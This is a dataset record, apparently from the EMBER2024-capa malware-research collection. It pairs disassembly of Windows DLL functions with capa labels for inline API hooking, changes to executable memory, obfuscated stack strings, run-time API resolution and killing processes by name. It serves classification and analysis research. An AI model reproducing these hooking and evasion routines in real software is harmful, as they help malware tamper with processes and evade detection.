joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012500
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.10059c14
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x10012591
test ebx, ebx
je 0x10012591
test esi, esi
je 0x10012591
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10012540
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100593b9
mov esp, ebp
pop ebp
ret 8

Function at 0x100125c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x100125fe
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100593b9
mov esp, ebp
pop ebp
ret 4
Function at 0x10012610
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1008200c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100126c2
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10012686
test dl, dl
je 0x10012682
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10012686
add ecx, 2
add eax, 2
test dl, dl
jne 0x10012666
xor eax, eax
jmp 0x1001268b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100126b2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100126ae
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10012660
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100593b9
mov esp, ebp
pop ebp
ret

Function at 0x100126e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007c3d8
push 0x1005956f
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008200c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001277a
cmp edi, 0x1000
jbe 0x1001277a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001275f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10012750
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001277a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret
Function at 0x100127a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007c3f8
push 0x1005956f
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008200c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, dword [0x10089004]
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x10012872
mov eax, 0x1004b990
cmp eax, 0x1000
jbe 0x10012872
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
push 0x14
call fcn.10059c14
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call ebx
mov dword [esi], 0x1004b990
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x10012841
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x1001282e
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x1001285b
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x10012848
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call ebx
jmp 0x10012872
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret

Function at 0x100128a0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x10075724]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x100128cd
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x100128b0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x1004c1d0
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10012940
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007c418
push 0x1005956f
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008200c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x100129da
cmp edi, 0x1000
jbe 0x100129da
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x100129bf
mov byte [esi + eax], 0x90
inc eax
jmp 0x100129b0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100129da
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret

Function at 0x10012a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, edx
cmp eax, 0x1000
jbe 0x10012a6e
push esi
push edi
lea esi, [ebx + 5]
push esi
call fcn.10059c14
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0xc]
push ebx
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [ebx + edi]
add esp, 0xc
lea eax, [esi - 5]
mov byte [ecx], 0xe9
sub ebx, ecx
add eax, ebx
mov dword [ecx + 1], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.100593b9
mov esp, ebp
pop ebp
ret
Function at 0x10012a80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c3b1
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1008b888]
test eax, eax
jne 0x10012c2d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10082f0c]
movaps xmm0, xmmword [0x10076930]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x8cc84bcf
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x28], 0x9ace
mov byte [ebp - 0x26], 0xad
mov eax, dword [esi + 0x1434]
test al, 1
jne 0x10012b4c
or eax, 1
mov dword [esi + 0x1434], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x3363], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3c]
mov byte [ecx + esi + 0x334c], al
add ecx, 1
adc edx, 0
jne 0x10012b38
cmp ecx, 0x17
jb 0x10012b20
push 0x10068970
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x334c]
mov ecx, edi
call fcn.10054690
mov eax, dword [esi + 0x1dc]
mov dword [ebp - 0x1c], 0x80c14bce
mov dword [ebp - 0x18], 0xbb83b5cc
mov word [ebp - 0x14], 0x55d7
mov byte [ebp - 0x12], 0xad
test al, 1
jne 0x10012bcc
or eax, 1
mov dword [esi + 0x1dc], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x391f], 1
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x3914], al
add ecx, 1
adc edx, 0
jne 0x10012bb8
cmp ecx, 0xb
jb 0x10012ba0
push 0x100689c0
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3914]
mov ecx, esi
call fcn.100546f0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012c26
push 7
call fcn.10059c14
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012c28
xor eax, eax
mov dword [0x1008b888], eax
push 0
push 0
push dword [ebp - 0x40]
mov dword [0x100896ac], eax
push ebx
push 0
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret
Function at 0x10012c60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c441
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1008b848]
test eax, eax
jne 0x10012e0d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10082f0c]
mov dword [ebp - 0x20], 0xa68de920
mov dword [ebp - 0x1c], 0x41ee8d7d
mov dword [ebp - 0x18], 0xad9cf726
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xe34e
mov eax, dword [esi + 0x9c8]
test al, 1
jne 0x10012d2c
or eax, 1
mov dword [esi + 0x9c8], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x9ea], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x9dc], al
add ecx, 1
adc edx, 0
jne 0x10012d18
cmp ecx, 0xe
jb 0x10012d00
push 0x10068a10
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x9dc]
mov ecx, edi
call fcn.100545d0
mov eax, dword [esi + 0x2718]
mov dword [ebp - 0x20], 0x8ab7ce3e
mov dword [ebp - 0x1c], 0x1bdfa641
mov dword [ebp - 0x18], 0xc395eb0d
test al, 1
jne 0x10012dac
or eax, 1
mov dword [esi + 0x2718], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x139c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x1390], al
add ecx, 1
adc edx, 0
jne 0x10012d98
cmp ecx, 0xc
jb 0x10012d80
push 0x10068a60
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x1390]
mov ecx, esi
call fcn.10054630
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012e06
push 7
call fcn.10059c14
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012e08
xor eax, eax
mov dword [0x1008b848], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x1008837c], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret
Function at 0x10012e40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c4d1
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov ebx, ecx
mov eax, dword [0x1008b84c]
test eax, eax
jne 0x10012fdd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10082f0c]
movaps xmm0, xmmword [0x10076110]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xf
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x37f8]
test al, 1
jne 0x10012efc
or eax, 1
mov dword [esi + 0x37f8], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2259], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2248], al
add ecx, 1
adc edx, 0
jne 0x10012ee8
cmp ecx, 0x11
jb 0x10012ed0
push 0x10068ab0
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2248]
mov ecx, edi
call fcn.10054510
mov eax, dword [esi + 0x20f4]
mov dword [ebp - 0x20], 0xca2f4058
mov dword [ebp - 0x1c], 0x4535800d
mov dword [ebp - 0x18], 0x830d656b
test al, 1
jne 0x10012f7c
or eax, 1
mov dword [esi + 0x20f4], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xfb8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xfac], al
add ecx, 1
adc edx, 0
jne 0x10012f68
cmp ecx, 0xc
jb 0x10012f50
push 0x10068b00
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xfac]
mov ecx, esi
call fcn.10054570
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012fd6
push 7
call fcn.10059c14
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012fd8
xor eax, eax
mov dword [0x1008b84c], eax
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x30]
mov dword [0x10089110], eax
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret
Function at 0x10013010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c561
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1008b83c]
test eax, eax
jne 0x100131bd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10082f0c]
movaps xmm0, xmmword [0x10076d30]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 9
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1a0c]
test al, 1
jne 0x100130dc
or eax, 1
mov dword [esi + 0x1a0c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x17b1], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x17a0], al
add ecx, 1
adc edx, 0
jne 0x100130c8
cmp ecx, 0x11
jb 0x100130b0
push 0x10068b50
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x17a0]
mov ecx, edi
call fcn.10054450
mov eax, dword [esi + 0x1c2c]
mov dword [ebp - 0x20], 0x868d2a5e
mov dword [ebp - 0x1c], 0xdba52afb
mov dword [ebp - 0x18], 0xcfaf0f6d
test al, 1
jne 0x1001315c
or eax, 1
mov dword [esi + 0x1c2c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xb5c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xb50], al
add ecx, 1
adc edx, 0
jne 0x10013148
cmp ecx, 0xc
jb 0x10013130
push 0x10068ba0
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xb50]
mov ecx, esi
call fcn.100544b0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100131b6
push 7
call fcn.10059c14
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100131b8
xor eax, eax
mov dword [0x1008b83c], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x10088ffc], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret
Function at 0x10013200
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c5f1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1008b898]
test eax, eax
jne 0x1001339d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10082f0c]
movaps xmm0, xmmword [0x10076230]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x3f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x37f0]
test al, 1
jne 0x100132bc
or eax, 1
mov dword [esi + 0x37f0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1f71], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1f60], al
add ecx, 1
adc edx, 0
jne 0x100132a8
cmp ecx, 0x11
jb 0x10013290
push 0x10068bf0
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1f60]
mov ecx, edi
call fcn.10054390
mov eax, dword [esi + 0x66c]
mov dword [ebp - 0x20], 0x58435668
mov dword [ebp - 0x1c], 0x59efb411
mov dword [ebp - 0x18], 0x1161735b
test al, 1
jne 0x1001333c
or eax, 1
mov dword [esi + 0x66c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3990], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x3984], al
add ecx, 1
adc edx, 0
jne 0x10013328
cmp ecx, 0xc
jb 0x10013310
push 0x10068c40
call fcn.10059cbd
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3984]
mov ecx, esi
call fcn.100543f0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013396
push 7
call fcn.10059c14
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013398
xor eax, eax
mov dword [0x1008b898], eax
push dword [ebp + 0x10]
mov dword [0x100887f4], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100593b9
mov esp, ebp
pop ebp
ret